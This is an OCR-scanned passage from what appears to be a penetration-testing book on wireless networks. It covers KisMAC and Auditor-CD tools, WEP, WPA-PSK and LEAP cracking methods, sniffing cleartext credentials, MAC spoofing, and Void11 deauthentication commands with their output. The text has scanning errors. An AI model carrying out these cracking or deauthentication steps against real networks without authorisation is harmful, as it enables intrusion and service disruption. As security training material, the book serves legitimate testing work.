each word in that file against the WPA Pre-Shared Key (PSK)(see Figure 6.26).

When KisMAC has successfully determined the key, it is displayed in the “Show
Details” view.
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Figure 6.26 WPA Cracking

Wordlist attack against WPA-PSK...

115700 words tested

Other Attacks

KisMAC also offers the ability to perform attacks against other forms of encryption
and authentication. Because these other methods have known vulnerabilities and are
rarely used by clients, they are not discussed in detail, but are included for
completeness.

Bruteforce Attacks Against 40-bit WEP

KisMAC includes functionality to perform Bruteforce attacks against 40-bit WEP
keys. There are four ways KisMAC can accomplish this:

®m  All possible characters
®  Alphanumeric characters only
®m  Lowercase letters only

®m  Newshams 21-bit attack

Each of these attacks is very effective, but also very time- and processor-
intensive.

Wordlist Attacks

KisMAC provides the functionality to perform many types of wordlist attacks in
addition to WPA attacks. Cisco developed the Lightweight Extensible Authentication
Protocol (LEAP) to help organizations concerned about vulnerabilities in WEP.
Unfortunately, LEAP is also vulnerable to wordlist attacks similar to WPA. KisMAC
includes the functionality to perform wordlist attacks against LEAP by following the
same procedure used when cracking WPA. Select the against LEAP Key button to
begin the attack.

Additionally, wordlist attacks can be launched against 40- and 104-bit Apple keys
or 104-bit Message Digest 5 (MD5) keys in the same manner. As with any dictio-
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nary attack, these attacks are only effective if a comprehensive dictionary file is used
when performing the attack (see www.securitytribe.com/~roamer/words.txt).

Other OS X Tools for
WarDriving and WLAN Testing

KisMAC has been the focus of the bulk of this chapter; however, there are several
other wireless tools that can keep an OS X hacker busy for hours.

EtherPEG (www.etherpeg.org) is a program that captures and displays all of the
Joint Photographic Experts Group (JPEG) and Graphic Interchange Format (GIF)
images that are being transferred across the network (including WLANE). In order to
use EtherPEG against a wireless network, encryption must not be in use, or you
must be connected to the network.

iStumbler (http://istumbler.net/), as shown in figure 6.27, 1s an active WLAN dis-
covery tool for OS X that works with the built-in Airport Express card. In addition
to WLAN discovery, iStumbler can also detect Bluetooth devices using the built-in
Bluetooth adapter. There is no setup required with iStumbler; simply unpack the
archive and press the iStumbler icon to begin.

Figure 6.27 iStumbler

806 iStumbler - AirPort )
@ | ----------------------- <no ssid=
Plugins Secure  Mode MNemwork Name -Signal Noise Char
== AlrPort M Secure managed <no ssid> 37 i
i3 Bluetooth 3 Open managed Family Apple Metwork 19 ]
7 Bonjour ) Secure  managed JSMHOME 23 0
= Log ) Secure managed Qur_Target 1] i

% Subscribe

(2) 7

With the release of OS X Tiger, there have been several dashboard widgets
developed and released that perform active scanning with the Airport and Airport
Express cards (e.g., Air Traffic Control) (see Figure 6.28).
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Figure 6.28 Air Traffic Control
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Dashboard widgets are updated regularly and new ones are released nearly every
day. Check out the latest wireless discovery widgets at wuwiv.apple.com/downloads/dash-
board and select the “Networking and Security” option from the “Widget
Navigation” menu.

Tcpdump is a network traftic analyzer (sniffer) that ships with OS X. Tcpdump
can be configured to listen on a wireless interface to capture traffic coming across
the WLAN with the following command:

crapple:~ roamer$ sudo tcpdump -i enl

Tcpdump can be used to capture usernames and passwords that are sent in clear
text (e-mail, Network Basic Input/Output System [NetBIOS], and so forth).

And finally, another useful packet sniffer is Ethereal (www.ethereal.org).
Information on installing and using Ethereal is presented in Chapter X.

177

www.syngress.com



178

Chapter 6 * WarDriving and Wireless Penetration Testing with OS X

Summary

When people think of WarDriving and attacking wireless networks, Linux is usually
the first OS that comes to mind. While there are fantastic tools available for Linux,
there are also several outstanding tools for the wireless hacker available for OS X.

KisMAC is the most popular WarDriving application for OS X. Because it offers
the option of both active and passive scanning and a large number of supported
chipsets, it 1s perfect for WarDriving. Add to that the ease of setup and configuration
and KisMAC stands out as one of, if not the top WarDriving application available.

In addition to its power as a WarDriving application, KisMAC is also a very
powerful tool for WLAN penetration testing. It provides many of the most popular
attacks (the new chopping attacks against WEP being the only omission) and ofters
penetration testers easy, point-and-click options for some attacks that are traditionally
more difficult on other OSes (e.g., deauthentication and traffic reinjection). The
tools available for these type of attacks on other OSes are either difficult to use or
are so restricted that working with KisMAC’s point-and-click attack method is a
welcome change.

While KisMAC is outstanding, it isn’t the only WLAN discovery tool available
for OS X. iStumbler has a far smaller feature set than KisMAC, but is extremely easy
to use and also includes Bluetooth functionality. There are also several dashboard
widgets that can be downloaded from the Apple Web site that work in conjunction
with the Airport and Airport Express cards to perform active WLAN discovery.

Wireless hackers are going to be hard pressed to find an OS other than OS X
that combines power, functionality, and ease of use with a more robust set of avail-
able free tools.

Solutions Fast Track

WarDriving with Kismac

M Kismac is one of the most versatile tools available for WarDriving
M Kismac can operate in both active and passive modes.

M Kismac has built in capability to allow WarDrivers to map their drives
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Penetration Testing with OS X

M Kismac provides the capability to perform many wireless penetration testing
tasks

Kismac has the ability to deauthenticate clients built in

Kismac contains routines for injecting traffic into a wireless network

N BN J

Kismac has built in tools to crack WEP

M Kismac has built in tools to crack WPA Passphrases

Other OS X Tools for
WarDriving and WLAN Testing

M iStumbler is a tool that can detect not only 802.11 b/g wireless networks,
but also Bluetooth devices

M As of OS X 10.4 Tiger, there are many dashboard widgets available that can
detect wireless networks.

M A packet analyzer, or sniffer, such as TCPDump or Ethereal is a valuable
tool for a wireless penetration tester.
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Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q. Why do some attacks require weak IVs and some only require unique IVs?

A. The traditional attacks against WEP were originally detailed by Scott Fluhrer,

Itsik Mantin, and Adi Shamir in their paper, “Weaknesses in the Key Scheduling
Algorithm of RC4.” (www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf). These
attacks are known as FMS attacks. This paper details that a small subset of the
total IVs were weak and, if enough were collected, could be used to determine
the WEP key. The problem with this method was that it was very time con-
suming due to the number of packets required to capture enough weak IVs to
crack the key.

In February 2002, Hlkar1 detailed a new method for attacking WEP
(www.dachbOden.com/projects/bsd-airtools/wepexp.txt), dubbed “chopping,”
where weak IVs were no longer required. Instead, approximately 500,000 unique
IVs needed to be gathered in order to successfully crack the WEP key. This, cou-
pled with the ability to reinject/ARP packets into the network, greatly reduced
the amount of time required to crackt WEP. Using the EMS method of WEP
cracking, it could take weeks/or months.to successfully crack the WEP key. The
chopping method has reduced this to a matter of hours (and sometimes less).
This attack took a theoretical threat and turned it intoa significant vulnerability
tor wireless networks utilizing WEP.

More information on WEP cracking and the tools available for cracking can be
found in Chris Hurley’s paper, “Aircrack and WEPlab: Should You Believe the
Hype,” available for download at www.securityhorizon.com/journal/

fall2004. pdf.

Q. I remember a tool call MacStumbler. Why isn’t it mentioned in this chapter?

A. MacStumbler (www.macstumbler.com) was one of the first WLAN discovery

tools available for OS X. Unfortunately, it only operated in active mode, and
development and maintenance ceased in July 2003. Many tools, such as
KisMAC, have taken WLAN discovery for OS X to the next level and essentially
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rendered MacStumbler obsolete. However, it is still available for download and is
compatible with both Airport Express cards and OS X Tiger.

Q. Can KisMAC logs be imported into other applications?

A. Yes.You can export KisMAC to NetStumbler and MacStumbler readable
formats.

Q. Why would I want to export to NetStumbler format?

A. There are a couple of good reasons to export to NetStumbler format. First, it
allows you to map your drives after completion using the assorted mapping tools
available. Second, NetStumbler has excellent support for exporting WarDrive
data to different formats. Once you have imported your KisMAC data into
NetStumbler, you have the ability to export to any of these formats.
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Introduction

The Auditor Security Collection is a fully functional, bootable CD-based operating
system (OS) that provides a suite of wireless network discovery and penetration test
tools. In order to perform successful penetration tests against wireless networks, you
must be familiar with many of these tools and their specific roles in the penetration
testing process. Recently, the people at RemoteExploit.org and at WHAX combined
their bootable CD distributions into the BackTrack distribution, which will most
likely become the live CD of choice in the future. Presently, however, the suite of
wireless tools provided in Auditor is more robust than that of BackTrack. Because of
the additional tools it provides, this chapter focuses on Auditor, which is available at
www.remote-exploit.org/index.php / Auditor_mirrors.

In order to attack your target network, you must first locate it. Auditor provides
two tools for Wireless Local Area Network (WLAN) discovery:

m Kismet

m  Wellenreiter

After locating the target network, many options are available to penetration
testers. Auditor provides testers with many of the tools necessary to accomplish
attacks based on these options.

Change-Mac can be utilized to change your clients Media Access Control
(MAC) address and bypass MAC address filtering. Both Kismet and Ethereal can be
utilized to determine the type of encryption that is being used by your target net-
work, as well as capture any clear text information that may be beneficial to you
during your penetration test.

Once you have determined the type of encryption that is in place, there are sev-
eral difterent tools that provide the ability to crack different encryption mechanisms.
Void11 is used to de-authenticate clients from the target network. The Aircrack suite
(i.e., Airodump, Aireplay, and Aircrack) allows you to capture traffic, reinject traffic,
and crack Wired Equivalent Privacy (WEP) keys. CoWPAtty performs offline dic-
tionary attacks against WiFi Protected Access-Pre-Shared Key (WPA-PSK) networks.

After reading this chapter, you will be able to identify your specific WLAN
target and determine what security measures are being utilized. Based on that infor-
mation, you will be able to assess the probability of successfully penetrating the net-
work, and determine the correct tools and methodology for successfully
compromising your target.
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Core Technologies

In order to successfully perform a penetration test on a wireless network, it is impor-
tant to understand the core technologies represented in a toolkit. What does WLAN
discovery mean and why is it important to penetration testers? There are a number
of different methods for attacking WEP-encrypted networks. Why are some more
effective than others? Is a dictionary attack against Lightweight Extensible
Authentication Protocol (LEAP) the same as a dictionary attack against WPA-PSK?
Once a penetration tester understands the technology behind the tool he or she is
going to use, his or her chances of success increase significantly.

WLAN Discovery

There are two types of WLAN discovery scanners—active and passive. Active scanners
rely on the Service Set Identifier (SSID) broadcast beacon to detect the existence of
an access point. An access point can be “cloaked” by disabling the SSID broadcast in
the beacon frame; however, while this renders active scanners ineffective, it doesn’t
stop penetration testers from discovering the WLAN. Passive scanners require that a
WLAN adapter be placed in rfinon (monitor) mode. This allows the card to see all of
the packets being generated by any access point within range; thus, discovering
access points even if the SSID is not sent in the broadcast beacon.

When a passive scanner initially detects a cloaked access point, the SSID is usually
not known, because it isn’t included in the broadcast frame (see Figures 7.1 and 7.2).

As seen in Figure 7.2, the beacon frame is still sent (broadcast), but the SSID is
no longer included in the frame. However, this does not mean that the SSID can’t
be discovered; even if encryption is used, when a client associates to the WLAN the
SSID is sent in clear text. Passive WLAN discovery programs can determine the
SSID during this association.

Once you have identified the SSID of all wireless networks in the vicinity of
your target, you can begin to hone in on your specific target.

185

www.syngress.com



186 Chapter 7 * Wireless Penetration Testing Using a Bootable Linux Distribution

Figure 7.1 SSID Broadcast
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Choosing the Right Antenna

To hone in on a specific target, you must choose the correct antenna for the job. It
is not possible to detail all of the possible antenna combinations in this chapter;
however, additional information can be found in Chapter 2 of this book, and in the
American Radio Relay League (ARRL) Antenna Handbook ISBN: 0872598047.

There are two primary types of antennas—directional and ommni-directional. A direc-
tional antenna sends and receives in a single direction. An omni-directional antenna
broadcasts and receives in all directions.

An omni-directional antenna is the best initial choice for WLAN discovery,
because you may not know exactly where your target is located. An omni-direc-
tional antenna provides data from a broader surrounding range; however, bigger is
not always better. The signal pattern of an omni-directional antenna resembles a
donut. An antenna with a lower gain has a smaller circumference, but is taller. An
antenna with a higher gain has a larger circumference, but is shorter. For this reason,
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when performing discovery in a metropolitan area with tall buildings, an antenna
with a lower gain is the best choice. When performing discovery in a more open
area, an antenna with a higher gain is the best option.

Figure 7.2 SSID Not Broadcast
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Once a potential target is identified, switching to a directional antenna is a very
effective way to help determine if the WLAN is your actual target. Directional
antennas and omni-directional antennas require line-of-sight; therefore, any obstruc-
tions (e.g., buildings, mountains, and so forth) reduce their effectiveness. Higher gain
directional antennas are a better choice.

WLAN Encryption

There are four basic types of encryption that penetration testers should be familiar
with:
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= WEP

. WPA/WPA2

m  Extensible Authentication Protocol (EAP)
®m  Virtual Private Network (VPN)

WEP

WEP was the first encryption standard available for wireless networks. WEP can be
deployed in two strengths: 64-bit and 128-bit. 64-bit WEP consists of a 40-bit secret
key and a 24-bit IV, and is referred to as a “40-bit WEP” 128-bit WEP employs a
104-bit secret key and a 24-bit IV, and is referred to as a “104-bit WEP”” Association
with WEP-encrypted networks can be accomplished using a password, an American
Standard Code for Information Interchange (ASCII) key, or a hexadecimal key.
WEP’s implementation of the RC4 algorithm was determined to be flawed, thereby
allowing attackers to crack the key and compromise WEP-encrypted networks.

WPA/WPA2

WPA was developed to replace WEP, and can be deployed using a WPA-PSK or in
conjunction with a Remote Authentication Dial-In User Server/Service (RADIUY)
server (WPA-RADIUS). WPA uses either the Temporal Key Integrity Protocol
(TKIP) or the Advanced Encryption Standard (AES) for encryption. Some vulnera-
bilities have been discovered with certain implementations of WPA-PSK. Because of
this, and to further strengthen the encryption, WPA2 was developed. The primary
difterence between WPA and WPA?2 is that WPA?2 requires using both TKIP and
AES, whereas WPA allowed users to determine which would be employed.
WPA/WPA2 requires using an authentication piece in addition to the encryption
piece. A form of the EAP is used for this piece. There are five different EAPs avail-
able for use with WPA/WPA2:

m EAP-TLS

m  EAP-TTLS/MSCHAPv2
m  EAPvO/EAP-MSCHAP2
m  EAPv1/EAP-GTC

. EAP-SIM
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EAP

EAP does not have to be used in conjunction with WPA.There are three additional
types of EAP that can be deployed with wireless networks:

m  EAP-MD5
m  Protected Extensible Authentication Protocol (PEAP)
m  LEAP

EAP is not technically an encryption standard; however, it is included in this section
because of vulnerabilities associated with LEAP (covered later in the chapter).

VPN

A VPN utilizes public infrastructure and maintains privacy using an encrypted
tunnel. Many organizations utilize a VPN in conjunction with their wireless net-
work, which is accomplished by not allowing access to internal or external resources
from the WLAN until a VPN tunnel is established. When configured and deployed
correctly, a VPN can be a very effective means of WLAN security. Unfortunately, in
certain circumstances, VPNs used in conjunction with wireless networks are
deployed in a manner that can allow an attacker (or a penetration tester) to bypass
the security mechanisms of the VPN.

Attacks

Although there are several different security mechanisms that can be deployed with
wireless networks, there are ways to attack many of them. Vulnerabilities associated
with WEP, WPA, and LEAP are well known. Although there are tools to automate
these attacks, in order to be a successful penetration tester it is important to under-
stand both the tools that perform these attacks, and how the attacks actually work.

Attacks Against WEP

There are two different methods of attacking WEP-encrypted networks; one
requires collecting weak initialization vectors (IVs) and the other requires collecting
unique IVs. Regardless of the method used, a large number of WEP-encrypted
packets must be collected.

Attacking WEP Using Weak 1Vs (FMS Attacks)

FMS (Fluhrer, Mantin, and Shamir) attacks are based on a weakness in WEP’s imple-
mentation of the RC4 encryption algorithm. Scott Fluhrer, Itsik Mantin, and Adi
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Shamir discovered that during transmission, approximately 9,000 of the possible
16,000,000 IVs could be considered “weak,” and that if enough of these weak Vs
were collected, the encryption key could be determined. To successfully crack the
WEDP key, at least 5,000,000 encrypted packets have to be collected in order to capture
approximately 3,000 weak IVs. Sometimes attacks are successful with as few as 1,500
weak IVs, and sometimes it takes more than 5,000 before the crack is successful.

After weak IVs are collected, they are fed back into the Key Scheduling
Algorithm (KSA) and Pseudo Random Number Generator (PRING), and the first
byte of the key is revealed. This process is then repeated for each additional byte
until the WEP key 1s cracked.

Attacking WEP Using Unique IVs (Chopping Attacks)

Relying on a collection of weak IVs is not the only way to crack WEP. Although
chopping attacks also rely on the collection of a large number of encrypted packets,
a method of chopping the last byte off of the packet and manipulating it enables the
key to be determined by collecting unique IVs instead.

To successtully perform a chopping attack, the last byte from the WEP packet is
removed, effectively breaking the Cyclic Redundancy Check/Integrity Check Value
(CRC/ICV). If the last byte was zero, xor a certain value with the last 4 bytes of the
packet and the CRC will become valid again. This packet can then be retransmitted.

Commonalities in the Attacks Against WEP

The biggest problem with attacks against WEP is that collecting enough packets can
take a considerable amount of time; weeks or even months. Fortunately, whether you
are trying to collect weak IVs or unique IVs, you can speed up this process. Traftic
can be injected into the network, thereby creating more packets. This is usually
accomplished by collecting one or more Address Resolution Protocol (ARP) packets
and retransmitting them to the access point. ARP packets are a good choice, because
they have a predictable size (28 bytes). The response will generate traftic and increase
the speed that packets are collected.

Collecting the initial ARP packet for reinjection can be problematic. You can
wait for a legitimate ARP packet to be generated on the network, which can take a
while, or you can force an ARP packet to be generated. Although there are several
circumstances under which ARP packets are legitimately transmitted (see www.geoci-
ties.com/SiliconValley / Vista/ 8672 /network /arp.html for an excellent ARP FAQ), one of
the most common in regards to wireless networks is during the authentication pro-
cess. Rather than wait for an authentication, if a client has already authenticated to
the network you can send a deauthentication frame, essentially knocking the client off
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of the network and requiring reauthentication. This process generates an ARP packet.
After one or more ARP packets have been collected, they can be retransmitted or
reinjected into the network repeatedly until enough packets have been generated to
supply the required number of unique IVs.

Attacks Against WPA

Unlike attacks against WEP, attacks against WPA do not require that a large amount
of packets be collected. In fact, most of the attack can be performed without being
in range of the target access point. It is also important to note that attacks against
WPA can only be successful when WPA is used with a PSK. WPA-RADIUS has no
known vulnerabilities; therefore, if that is the WPA schema in use at a target site, a
different entry vector should be investigated.

To successtully accomplish this attack against WPA-PSK, you have to capture the
four-way Extensible Authentication Protocol Over LAN (EAPOL) handshake. You
can either wait for a legitimate authentication to capture this handshake, or you can
force an association by sending deauthentication packets to clients connected to the
access point. Upon reauthentication, the four-way EAPOL handshake is transmitted
and can be captured. Once the handshake has been captured, each dictionary word
must be hashed with 4,096 iterations of the Hashed Message Authentication Code-
Secure Hash Algorithm 1 (HMAC-SHA1) and two nonce values, along with the
MAC addresses of the supplicant and the authenticator. For this type of attack to
have a reasonable chance of success the PSK (Passphrase) should be shorter than 21
characters, and the attacker should have an extensive wordlist at his or her disposal.
Some examples of good wordlists can be found at http://ftp.se.kde.org/pub/
security /tools /net/ Openwall /wordlists/ and www.securitytribe.com/~roamer/

WORDS. TXT.

Attacks Against LEAP

Cisco’s proprietary LEAP is an authentication protocol designed to address many of
the problems associated with wireless security. Unfortunately, LEAP is vulnerable to
an offline dictionary attack, similar to the attack against WPA. LEAP uses a modified
Microsoft Challenge Handshake Protocol version 2 (MS-CHAPv2) challenge and
response that is sent across the network as clear text. It is this weakness in MS-
CHAPv?2 that allows an offline dictionary attack. MS-CHAPv2 does not salt the
hashes, uses weak Data Encryption Standard (DES) key selection for challenge and
response, and sends the username in clear text. The third DES key in this
challenge/response is weak, containing five null values; therefore, a wordlist con-
sisting of the dictionary word and the NT hash list must be generated. By capturing
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the LEAP challenge and response, the last 2 bytes of the hash can be determined,
and then the hashes can be compared, looking for the last two that are the same.
Once a generated response and a captured response are determined to be the same,
the user’s password has been compromised.

Attacks Against VPN

Attacking wireless networks that utilize a VPN can be more difficult than attacking
the common encryption standards for wireless networks. An attack against a VPN is
not a wireless attack per se, but rather an attack against network resources using the
wireless network.

Faced with the many vulnerabilities associated with wireless networking, many
organizations have implemented a solution that removes the WLAN vulnerabilities
from the equation. To accomplish this, the access point is set up outside of the
internal network and has no access to any resources (internal or external) unless a
VPN tunnel is established to the internal network. While this is a viable solution,
because the WLAN has no access, it is configured with no security mechanisms.
Essentially, it is an open WLAN, allowing anyone to connect.

Unfortunately, this process opens up the internal network to attackers. To suc-
cesstully accomplish this type of attack, you need to understand that most, if not all,
of the systems that connect to the WLAN are laptop computers.You also need to
understand that laptop computers often fall outside of the regular patch and configu-
ration management processes that the network may have in place. This is because
updates of this type are often performed at night, when operations will not be
impacted. This is an effective means for standardizing desktop workstations. However,
laptop computers are generally taken home in the evenings and aren’t connected to
the network in order to receive the updates.

Knowing this, an attacker can connect to the WLAN, scan the attached clients
for vulnerabilities, and if one is found, exploit that vulnerability. Once this has been
accomplished, keystroke loggers can be installed that allow an attacker to glean the
VPN authentication information, which can be used to authenticate to the network
at a later time. This attack can only be successful if two factor authentication is not
being utilized. For instance, if a Cisco VPN is in use, often only a group password,
user name, and user password are required in conjunction with a profile file that can
either be stolen from the client or created by the attacker. This type of attack can
also be performed against any secondary authentication mechanism that does not
require two factor authentication or one-time-use passwords.
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Open Source Tools

Now it is time to figure out how to use the open source tools available to perform a
penetration test against a wireless network.

Footprinting Tools

To successfully penetrate a wireless network, you need to understand the physical
footprint of the network. How far outside of the target’s facility does the wireless
network reach? The easiest way to accomplish this is by using Kismet in conjunction
with GPSMap’s “circle map” functionality (see Figure 7.3).

Figure 7.3 GPSMap Circle Map Identifying a Network Ran

ge
b &L e 7

£

To do this, use Kismet to locate the target WLAN. Once you have identified the
target, drive around it a few times to get good signal data and four strong Global
Positioning System (GPS) coordinates. Then use GPSMap to plot the signal strength
of the access points that have been discovered. There are several valuable options for
GPSMap. The command line to generate circle maps is:

gpsmap -r -S2 -P0 -e *.gps
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®m  yindicates that range circle maps should be generated.

m  -S2 indicates that the map should be downloaded from TerraServer, which
provides satellite image maps; however, there are other map servers you can
use.

B -P0 indicates the opacity, or the amount of background, you can “see”
through the map.

B -¢indicates that a point should be plotted denoting the center of the net-
work’s range.

Intelligence Gathering Tools

Unlike wired penetration tests, customers often want penetration testers to locate
and identify their wireless networks, especially if they have taken steps to obfuscate
the name of their network. This is particularly common with red team penetration
testing, where the penetration tester, in theory, has no knowledge of the target other
than the information he or she can find through his or her own intelligence gath-
ering methods.

User’s Network Newsgroups

As Internet search engines become more powerful, the User’s Network (USENET)
tool available to penetration testers for intelligence gathering is often overlooked. As
with all types of networks, wireless networks sometimes have connectivity and con-
figuration issues. Administrators are likely to turn to other administrators of similar
equipment to see if they have experienced the problem and, if so, is there a known
solution. Searching USENET for your target’s e-mail domain
(XXX@ourtarget.com) often leads to messages posted by administrators looking for
help. This can be a goldmine of information for a penetration tester, revealing the
manufacturer and model of access points in use (which can help narrow down your
potential target list), the type of encryption standard in use, if any wireless intrusion
detection mechanisms are in place, and many other essential pieces of information
that will make the penetration test easier as you proceed.

Google (Internet Search Engines)

Google is one of the most powerful tools for performing this type of intelligence
gathering. Assume that your target is in a large building or office complex where
several other organizations are located and multiple WLANSs are deployed. At this
point, take all of the SSIDs of the networks you discovered and perform a search of
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the SSID and the name of the target organization. If an organization chooses not to
use the company name as the SSID, they often use a project name or other informa-
tion that is linked to the organization. A search for the SSID and the organization
name can often help identify these types of relationships and the target WLAN.
With regards to Internet search engines, your imagination is your only barrier when
performing searches: the more creative and specific your search, the more likely you
are to come across information that will lead to identifying the target network.

Scanning Tools

There are several WLAN scanners available to both active and passive penetration
testers. Auditor includes two of these tools: Wellenreiter and Kismet. Both of these
tools can be effective; however, there are certain circumstances where one may be
more beneficial than the other. In any case, having multiple tools available to com-
pare and verify results is always beneficial to a penetration tester.

Wellenreiter

To start Wellenreiter, right-click on the Auditor desktop and select Auditor |
Wireless | Scanner/Analyzer | Wellenreiter (Wireless Scanner). A window will
open prompting you for a data directory to save your Wellenreiter results in. Select a
location and press OK and then confirm the directory by pressing Yes. Next, you
are prompted to provide a prefix that will be added to the Wellenreiter files as they
are saved, which is useful for difterentiating between multiple scans or sessions (e.g.,
the date), or the target name can be prepended to the data files. After you have
entered your prefix, press OK and Wellenreiter will open (see Figure 7.4).

After Wellenreiter is opened, a scan must be manually started by pressing the
Start icon (located in the upper right-hand corner of the Wellenreiter interface).
Wellenreither then scans for WLANs and displays them by channel. (The “Show all
channels” view is selected by default.) WLANSs transmitting on specific channels can
be displayed by selecting a channel listed in the left-hand pane of the interface.
Wellenreiter also displays the state, channel number, SSID (Network Extended
Service Set Identifier [ESSID]), MAC address, WEP status, manufacturer, and net-
work type, and allows you to sort based on each of these fields by clicking on the
field name. If the SSID is broadcast or has been determined due to an association, it
is displayed in the Network ESSID field. If the SSID is not broadcast, “Non-broad-
casting” 1s displayed in that field (see Figure 7.5).
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Figure 7.4 Wellenreiter Interface
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One drawback of using Wellenreiter is that it can detect if encryption is being
used, but it can’t determine the type of encryption (WEP or WPA). WPA-encrypted
networks are displayed as WEP when using Wellenreiter, and require further investi-
gation using a different tool to determine the true type of encryption being used.

Wellenreiter saves two types of data files by default: a complete packet capture
dump (.dump) that can be opened with a packet sniffer, and a text file detailing the
results of the scan (.save) that can be opened with a text editor (see Figure 7.6).
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Figure 7.5 Wellenreiter Detects WLANs
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Figure 7.6 Wellenreiter .save File
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Kismet

Kismet is probably the most versatile and comprehensive WLAN scanner. Like
Wellenreiter, Kismet is a passive WLAN scanner that detects the networks that are
broadcasting the SSID. Kismet is started in much the same way as Wellenreiter. Select
Auditor | Wireless | Scanner/Analyzer | Kismet Tools | Kismet (Wireless
Scanner). A window opens prompting you for a data directory where your Kismet
results will be saved. Select a location and press OK and then confirm the directory
by pressing Yes. Next, you are prompted to provide a prefix that will be added to
the Kismet files as they are saved. After entering the prefix, click OK and Kismet
will start. Unlike Wellenreiter, Kismet is a text-based application that begins col-
lecting data as soon as it is started (see Figure 7.7).

Figure 7.7 Kismet Interface
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Kismet has a wide range of sorting and viewing options. Sort options can be
selected by pressing the s key (see Figure 7.8).

The default sorting view is Auto-Fit. To change the sort view, type s to bring up
the sort options. Networks can be sorted by:
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Figure 7.8 Kismet Sort Options
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®  The time they were discovered (first to last or last to first)
m  The MAC address Basic Service Set Identifier (BSSID)

®  The network name (SSID)

®  The number of packets that have been discovered

m  Signal strength

B The channel they are broadcasting on

®  The encryption type (WEP or No WEP)

After choosing a sort view, information on specific access points can be viewed.
Use the arrow keys to highlight a network and then press ENTER to get informa-
tion on the network (see Figure 7.9).

Kismet creates seven log files by default:

B Cisco (.cisco)

®  Comma Separated Value (.csv)

®m  Packet Dump (.dump)

m  GPS Coordinates (.gps)

m  Network (.network)

m Weak IVs (.weak)

m  Extensible Mark Up Language (.xml)
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Figure 7.9 Specific Network
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The range of log files created by Kismet allows penetration testers to manipulate
the data in many different ways (scripts, importing to other applications, and so

forth).

Enumeration Tools

Once the target network has been located and the type of encryption identified,
more information must be gathered in order to determine what needs to be done to
compromise the network. Kismet is a valuable tool for performing this type of enu-
meration. It is important to determine the MAC addresses of allowed clients in case
the target is filtering by MAC addresses. It is also important to determine the IP
address range being used so that the penetration tester’s cards can be configured
accordingly (that is if Dynamic Host Configuration Protocol [DHCP] addresses are
not being served).

Determining allowed client MAC addresses is fairly simple. Highlight a network
and type ¢ to bring up the client list (see Figure 7.10). Clients in this list are associ-
ated with the network and are allowed to connect to the network. After successfully
bypassing the encryption in use, spoofing one of these addresses increases your likeli-
hood of successfully associating. The client view also displays the Internet Protocol
(IP) range being used; however, this information can take time to determine and
may require an extended period of sniffing network traffic in order to capture.
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Figure 7.10 Kismet Client View Used for Enumeration
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Vulnerability Assessment Tools

Vulnerability scans do not necessarily have to be performed on wireless networks;
however, once a wireless network has been compromised, a vulnerability scan can be
conducted on wireless or wire-side hosts. WLAN-specific vulnerabilities are usually
based on the type of encryption in use. If the encryption is vulnerable, the network
is vulnerable. There are two primary tools penetration testers can utilize to test
implementations of wireless encryption:

m  Kismet

m  Ethereal

Using Kismet to determine the type of encryption being used is simple, but not
always effective. Use the arrow keys to select a network and press ENTER. The
“Encrypt” line displays the type of encryption in use. However, Kismet cannot
always determine with certainty if WEP or WPA is in use (see Figure 7.11).

If Kismet 1s unable to determine the type of encryption on the network,
Ethereal can be used to definitively identify the encryption. Open your Kismet or
Wellenreiter .dump file using Ethereal and select a data packet. Drill down to the
“Tag Interpretation” fields of the packet. If a frame contains ASCII “.P...””, WPA 1is
in use. This is verified by looking at the frame information. The tag interpretation
for these bytes shows “WPA IE, type 1, version1,” and conclusively identifies this as a
WPA network (see Figure 7.12). An encrypted packet that does not contain this
frame is indicative of a WEP-encrypted network.

201

www.syngress.com



202

Figure 7.11 Kismet Cannot Determine if WEP or WPA
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Figure 7.12 WPA Positively Identified with Ethereal
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Exploitation Tools

The meat of any penetration test is the actual exploitation of the target network.
Because there are so many vulnerabilities associated with wireless networks, there are
a lot of tools available for exploiting them. It is important for a penetration tester to
be familiar with the tools used to spoof MAC addresses, deauthenticate clients from
the network, capture traffic, reinject traffic, and crack WEP or WPA. Proper use of
these skills will help an auditor perform an effective WLAN penetration test.

MAC Address Spoofing

Whether MAC address filtering is used as a standalone security mechanism or in
conjunction with encryption and other security mechanisms, penetration testers
need to be able to spoof MAC addresses. Auditor provides a mechanism to accom-
plish this called “Change-Mac.”

After determining an allowed MAC address, changing your MAC to appear to
be from an allowed address is simple with Change-Mac. Right-click on the Auditor
desktop and select Auditor | Wireless-Change-Mac (MAC address changer).
This opens a terminal window and prompts you to select the adapter you want to
change the MAC address on. Next, you are prompted for the method of generating
the new MAC address:

m  Set a MAC address with identical media type
B Set a MAC address of any valid media type

B Set a complete random MAC address

m  Set your desired MAC address manually

®m  The option that is most valuable to a penetration tester is the last one, “Set
your desired MAC address manually”

Enter the MAC address you want to use and press OK. When the change is suc-
cessful, a window will pop up informing you of the change (see Figure 7.13).

Deauthentication with Void11

In order to cause clients to reauthenticate to the access point to capture ARP
packets or EAPOL handshakes, it is often necessary to deauthenticate clients that are
associated to the network. Void11 is an excellent tool to help accomplish this task.
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Figure 7.13 Mac-Changer Was Successful
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In order to deauthenticate clients, you need to prepare the card to work with
Void11.The following commands must be issued:

NoTE

These commands are for a Prism2-based WLAN card. If you aren’t using
a Prism2-based card, you need to ensure that your card can be used
with the hostap drivers, and determine the correct identifier for your
card (ethO, eth1, and so on).

switch-to-hostap

cardctl eject

cardctl insert

iwconfig wlan0 channel CHANNEL NUMBER
iwpriv wlanO hostapd 1

iwconfig wlan0 mode master

In summary, these commands do the following:
The deauthentication attack is executed with:

voidll penetration -D -s CLIENT MAC_ADDRESS -B AP _MAC_ADDRESS wlanO

This executes the deauthentication attack (see Figure 7.14) until the tool is man-
ually stopped.
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Figure 7.14 Deauthentication with Void11
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root@2 [ knoppix]# switch-to-hostap E
root@ [knoppix]# cardctl eject

root@2 [ knoppix]# cardctl insert

root@ [ knoppix]# iwconfig wlan0 channel 3

root@ [ knoppix]# iwpriv wlan@ hostapd 1

root@ [knoppix]# iwconfig wlan@ mode master

root@ [knoppix]# voidll penetration -D -s 00:11:24:97:c¢9:51 -B 00:13:10:1le:64: b2
wlan0

Opening raw packet socket for 1findex 22

ioctl[PRISMZ_IOCTL HOSTAPD]: Invalid argument

interface : wlan@ap

ssid ;

delay : 10000 usec

auto flood: disabled

type : deauth flooding

bssid t 00:13:10: le:64: b2

LU

